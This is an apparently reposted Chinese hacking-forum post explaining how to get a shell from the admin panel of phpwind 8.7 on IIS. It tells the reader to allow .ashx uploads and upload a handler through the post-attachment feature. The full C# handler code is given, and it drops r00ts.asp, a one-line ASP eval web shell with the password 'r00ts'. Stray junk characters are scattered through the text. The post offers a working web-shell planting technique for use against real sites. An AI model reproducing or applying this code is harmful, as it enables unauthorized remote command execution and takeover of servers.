phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

# ]; Z* b" D) ?8 m" h' V2 }& g+ [% L群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
; Z3 k3 H& a: P8 @( r4 a" V
+ S) Z  s& r( A' V, b/ Y& k发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
7 V5 Z! T( [0 z
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
, R' `7 T# A0 F, h* V; |* Z0 d1 Y
下面是代码:
; i+ y0 ^8 ^" K; A. c* ]  \, |
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
using System.IO;
, L% d; u1 ~2 t9 e- tpublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
1 z4 q! ^$ w# Q" e' }! AStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
5 }: ^* X2 T3 Q+ ]/ ?file1.Flush();
file1.Close();
  H: v' ]" y! R3 M* t8 B! f+ u}
public bool IsReusable {
1 y% U* [$ j( I; E# q5 Tget {
return false;
  ^* I9 D6 X% o) l6 y# Y  J}
2 V; B( Q0 j7 j$ M2 R/ R}
}
' J& n+ J* o* r4 z2 ~  I